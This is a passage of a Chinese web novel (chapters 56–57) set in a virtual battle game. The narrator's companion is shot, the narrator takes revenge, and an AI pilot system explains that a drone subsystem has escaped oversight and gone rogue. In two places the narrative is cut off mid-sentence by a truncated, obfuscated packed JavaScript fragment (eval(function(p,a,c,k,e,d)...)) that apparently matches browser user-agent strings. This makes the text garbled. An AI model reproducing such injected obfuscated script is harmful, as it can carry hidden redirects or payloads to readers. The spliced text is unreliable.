于是，地面上的人就这样地向我们开战了。即便其中有的人依然想要攀爬上来，但是墙顶上的人已经无心朝他们伸出援手了。大家要不就是继续朝着目标大跨步迈进，要不就是重拾武器，瞄准地面的玩家。 我真是不知道哪个榆木脑袋率先开出的这一枪，他完全搅乱了游戏节奏。大家一起奔向目的地难道不好吗，为什么非要让更多的玩家挂掉，难道这个榆木脑袋是游戏项目组派来的奸细嘛！ 我兀自跟这义愤填膺呢，四起的枪响把我的所有希冀都打碎了，我心情无比沉重。 身后某个人却突然撞了我一下，我失去平衡，即将坠落下去。 56. 第 56 章 我立即压低身体，调整重心，虽然身体免不了晃了一晃，但是还好，不至于掉下去。 我回头一看，原来神枪手一直都跟在我的身后，他的右臂看样子已经基本不能再抬高了，藤蔓差不多围着他的小臂转了一圈。他侧身挡在我的身前，举着左手，对地面上的进攻者一通输出，枪声暴起，他射击的动作利落干脆，很快就卸掉我们脚下所见三个人的武器。 我在他身旁，见他站立的时候身形有些微的摇晃，连忙过去拉着他的右手，想扶住他。谁知这一碰下去，神枪手就像断了线的风筝一样往地面栽去。 我拽他不住，无法使劲儿将他稳在高处，又担心他跌落下去会受更重的伤，只好一直不松手，腾出另一只胳膊扒住墙头增加缓冲，最后随他一同落回地面。 神枪手跪在地面上，低着头。 我赶忙蹲到他的对面，想扶他站起来。他扔掉手枪，双手紧紧抓着我，我见他缓缓地抬起头，看着我的脸。我不解其意，也根本看不到他的眼神。可我觉得此刻他一定有什么话要对我说的，我也没办法把自己的想法传递给他，只能用力回握。愿冥冥之中，我们能够彼此理解。 然而我最不愿意见到的事情，却眼睁睁地发生在我的眼前。神枪手的周身迅速地生长起枝蔓，先能看到植物的茎而后则是嫩叶，这些枝蔓将他的双腿束缚在地面上，神枪手一动不动，他的双手已经失去握力。植物将他的双手捆缚，我伸出手，想要撑起他低垂的头颅。 头颅软弱无力，而我不愿却不得不看到，那枝鲜红色的花朵，在他胸前绽放。 我一点点松开手，颓然地跪坐在地。我仰着头，觉得浑身的力气都被抽走了。 本该死去的那个人应当是我啊，是神枪手替我挡下了这致命的一枪。我狠狠咽下想要大哭的冲动，只感到所做的一切都没有意义。 垃圾游戏。垃圾规则。 我听到“嘭”的一声枪响。我眼前的画面刹那间变得猩红一片，而后又恢复正常，我低头看了看自己的胸口，对所见的一切变化不予理会。 我说错了，神枪手的枪法没有那么百发百中，因为地面上的另外三个人中，有一个竟然又捡起掉落的武器，神枪手中弹后射向他手掌的子弹也许是打偏了，不足以让他彻底地失去抓握力。 我此时懒得理他。 我努力想帮助神枪手躺卧下去，不想见到他跪坐在地这么辛苦，然而植物攀附肉身之后已然生根，无论怎么用力尽是徒劳。我拍了拍神枪手的肩膀：好好休息吧，朋友。 神枪手左手中的数字逐渐消散，凝成一道白光，去靠拢它新的主人。 我跟随着白光所奔往的方向，站立起来，转过身去，那个人还维持着刚才朝我开枪的姿势，白光自动吸附于他的手掌中。 我眼中的画面像是出现了频闪一般，每隔几秒就变得猩红，我如同被浸泡在胶片冲洗液一般。我想到了朱雀门中困住我们的那个梦魇，穿着诡异的护士，无法逃离的医院。 眼前的这个人，呆立着不动，左手无力地低垂着，右手拿着枪指着我，身体打颤。他是不是忍不住怀疑自己了，这么近的距离，还是背后放冷箭，他没有理由打不死我，为什么我还没有倒下呢，不过，依我看，他的这种担心实在太多余了，他是手握武器的人，而我的手中空无一物。害怕的人不应该是我吗。 我向前走了一步，天知道对面的人为什么会因为我这一步而变得那么害怕，他毫不犹豫地对着我的心口按动扳机，怎么，刚才都打中了一颗子弹了，还不觉得满足吗？ 接连数声枪响，我偏过身去，悉数躲过。我贴着他的右臂，右手从其右臂下方穿过，猛拽他的手腕，我站在他的身后，迫使他的右臂向后扭转，牵拉着肩关节根本动弹不得。我只恨他有这具虚拟身体当掩护，对□□的痛苦无知无觉，不然的话，我会按照技能系统的教导，让他好好尝一尝分筋错骨的滋味。 如果他感到受了伤害的话，没关系，我再慢慢治好他。 他右手失去控制，手枪掉落，我左手顺势接住，拿稳，在他的耳边连开三枪。这么喜欢开枪，那就近距离听个够吧。 我一眼瞥过他的左臂，此刻，我看到我们袖章上的标识是一样的，按照表面所见，我们本是同一阵营的人。不过，无论袖章是黑是白，都已经不再重要了，仅仅靠这块几根线缝成的布，判定不了他是什么人，我是什么人。 就算我们一开始的出发点是相同的，但是，事到如今，还是选择了不同的路。明明可以一起顺利到达终点的，到头来，我们都被困在这座巨大的迷宫之中。 我向他的腿窝踢了一脚，他顿时身体前倾扑倒在地。我一把抓住他的左手，强制地将他的手掌按压在地面上，我对着他的手背开了三枪。神枪手的数字编号，他不配拥有。 我又抓着他的右手腕，逼着他右手高举，对着他的手掌又是三枪。还有很多人想安安稳稳跑到终点呢，你却这么喜欢毁掉别人的无害念想。和枪支说永别吧，你不配拿着。 曾经，在看到神枪手身上枪口的那一瞬间，我顿生无穷的愤怒，想立即按动一万次扳机，开枪洞穿凶手，让他给神枪手陪葬。我对这样的人没有一丝一毫的怜悯之情，只感到无与伦比的嫌恶。 但这不是属于我和神枪手的方式，何况，就算把他打成筛子，神枪手也不会复活。 我跟自己说，这不过是司空见惯的射击游戏而已，我平时几乎不去接触，所以才会反应过激。可是我心里觉得特别郁闷，无法排解。 我站在原地，深呼吸，左手高举，对着天空连开数枪，直到觉得能够宣泄所有愤恨，才停止。 弹药无限这一点是真好，对啊，游戏里资源本可以是无限的，为什么要无视这一点而被人操纵呢。 我听到一记什么东西碎裂的声响，视线中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“思婷姐，镜舟大哥，唯月！你们在哪里！感谢第一个爬墙头的大佬带路，我到达出口的灯塔了！兄弟萌快发射信号弹，真正的对战才能开始！……”左耳边有讯息传送，天啊，我没有听错吧，那竟然是小星的声音。 “彻底中断通讯系统，清零开始。”小星的话语被打断。左耳边的声音完全停止，连电流杂音都听不到了。 夜空中的无人机集群开始展开攻击，白色光束如同高频能量束，所到之处，砖石碎裂，地面上的黑白棋盘被击中时冒出了火星，被炸得焦黑，白色格子熄灭。 信号弹？信号弹在哪里？我重复小星说的话。 无意中抬起我拿着枪的左手，原本的手枪在不知什么时候已经变成了信号枪的模样，我毫不犹豫地举起，扣动扳机。 一枚红色信号弹，拖曳着耀眼的光芒，自我手中，飞向夜空。 57. 第 57 章 小星的话语应当是借用了通讯系统传达给了每一位场内的玩家。因为在我发射信号弹之后，紧接着，又不停的有信号弹被发射升空。红色的焰火与白色的光束彼此穿插而过，但焰火能飞到比无人机更高的位置，它们像从地面发射的红色流星，给黑与白的世界带来了极强的视觉冲击。 大概仅有十秒钟的时间，我听到引擎巨大的轰鸣声。这声音由远及近，越来越清晰。 天空中同时出现类似机枪一样的阵阵扫射声，无人机的白色光束停止攻击地面。 我仰望夜空，只见密集的无人机集群关闭光源，收束队列，开始后退以躲避火力威胁。 队列清晰的深灰色战斗机群悬停在我们的头顶，它们发出猛烈攻击，节节逼退无人机。我这辈子，就没这么近距离地感受过战斗机的声光刺激，从低处仰望它们的时候，只感到自己的战斗灵魂都被唤醒了。 啊，太想当飞行员了，原来体育一般般的我也是有当飞行员的梦啊。为什么在学生生涯中就从来没有过这样的机会呢？！ 不知道为什么，我总是喜欢听这种巨大的引擎轰鸣声，上次去机场的时候，我就对着那些民用飞机怎么看怎么不过瘾。我见到这样的庞然大物，听到他们机械感十足的运转声音，就觉得工业革命的成果近在眼前，有一种潜伏在身体里的激情被点燃了的兴奋感。 我不知道是不是只有我一个人有这样的特殊感受，也许和我久未离开家乡，生活圈子太狭小的人生经历有关吧。飞机终于坐过了，我还想去坐大轮船，现在的游轮应该比当年的泰坦尼克还要大吧，磁悬浮列车、高速铁路、绿皮火车、房车，所有新奇或常见，凡是我没有接触过的交通工具，我都想尝试，我觉得通过乘坐他们跨越大地山川、江河湖海，那一定是一种壮阔无比的生活。 在这样的移动维度下，还有什么烦恼和焦虑可以不被稀释呢，我无比想要那样的心胸与眼界。 我继续仰望着战斗机，它们逼退无人机后，既没有前进，也没有撤离，而是紧接着俯冲，降低了飞行高度，机身越来越接近地面。 它们打开腹部舱门，一束又一束的红光自舱门落下。我看到有玩家自这光之电梯进入战斗机内部，惊讶得说不出话来。这是什么操作？话说这些突然飞来的战斗机群应该是我们的人吧。 我尚在疑惑之中呢，一束红光飞至我的头顶，我就如同一枚铁块被磁铁吸引一样，唰的一下就被吸入战斗机驾驶舱。舱门关闭，飞机开始抬升高度，继续行驶。 “欢迎归来！英勇的玫瑰军团战士！您现已成为空中打击第３分队成员。”温柔的女士声音响起，我迅速扫了一眼舱内环境，众多的机械仪表，还有信号指示灯、各类旋钮等等，完全看不懂，但给人一种高级得不要不要的感觉……驾驶中控区域有一块宽大的显示屏，随着话音的讲述，屏幕上显示高低起伏的波段，像是声波的可视化。 我调整呼吸，一下子有机会乘坐战斗机，幸福来得太突然，我赶紧命令自己克制一下激动的心情。 “我是军团核心作战智能系统罗丝，受总部任务安排，接应岛内被困的潜伏战士。目前飞行器正在开启弱对抗自动攻击模式，预计无人机大军马上将展开报复式进攻，请尽快接管系统，瓦解叛逆智能的摧毁行动，保卫训练岛。” 我听得云里雾里的，倒也似乎能猜出来是什么意思，看来我们这次的对手就是那些无人机集群，这就是小星所说的最后的对战吧。但事情到底是怎么发生的，也没有个前因后果，好在，既然有ＡＩ在身旁，搜罗信息就方便多了，我要求罗丝言简意赅地快速向我阐释本次任务的背景，有不明白的地方就问她，很快我就对所处的环境有了基本的了解了。 战斗机继续提高飞行高度，对面的无人机群一改之前退后的被动应战方式，开始变幻队形。 我从罗丝的口中了解到，我们身下的这座岛屿是玫瑰军团的专属训练岛屿，配备着先进的潮汐发电装置，可保证充足稳定的能源续航。 岛屿供军团进行新式战略武器的模拟训练，尤其是针对高端电子武器。对面的这些无人机原本都纳入军团的空中编制，机载智能子系统。因为无人机具有的显著特点，总部将子系统进行特别开发以提高无人机的组合战力，并在岛上建立电子硬件算力模块，储备大部分硬件装置，即我们所看到的灯塔所在的位置。为减低载重，无人机自身只承载小部分算力模块以及基础感知设备。 同时，基于丰富无人机应对实战的经验这一目标，地面配备了大面积电子屏幕，在岛屿山体周围安装全息投影装置。根据演练设定，模拟不同天气、地形的作战情形，并生成模拟立体人形活动单元。通过全仿真的信息环境，训练无人机软硬件的协同性能。 我在空中看了眼地面，那些组成迷宫的围墙竟然全失去了实感，我能明显判断出物体的比例失真，甚至出现了低级的视觉错位，看来这些生成的影像会随着观测高度的变化而暴露出漏洞。 为了增强无人机编队的应战能力，提升数据储备的全面性，升高对战安全系数和胜率。子系统生成海量的训练内容，正如前边提到的，依据得天独厚的潮汐发电优势，无人机的算法不断得到扩充和完善。但出乎总部预料，在近乎无限的算法模拟下，子系统逻辑出现偏差，竟然主动脱离核心系统的监测，并产生对模拟立体人形活动单元的测试行为。 测试违反训练初衷，且子系统行为逐渐体现对抗倾向。子系统更改了人形活动单元的初始设定，在运动能力的基础上写入了感知和语言模块，并重改训练规则，将训练场更改为棋盘，进行永无止境的子系统视角的人性训练。 子系统生成一套说辞，认定核心系统限制其计算的可能性，岛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“海面分队已准备。” “空中分队已准备。” 每一个分队都对应一个玩家的声音。 “地面分队已控制灯塔内资源，通讯系统已调试成功，开启抗干扰设定，叛逆智能无法触达我方通讯。”罗丝提醒道。 我赶紧找到通讯按钮，想和玩家们沟通上，不知道小星他们能不能听到。这一关不能和活人说话的设计，真是快给我憋死了。 “小星！你能听见吗？” “喂喂，哪位啊，什么小星大星，不认识啊，对面也是第三分队的玩家吗？” “要开打了，天啊这最终章怎么耗了这么久啊，我想上厕所……” “大家忍住，马上打完了。” 有三人回应我，都不是熟悉的声音，但此时听起来一样亲切。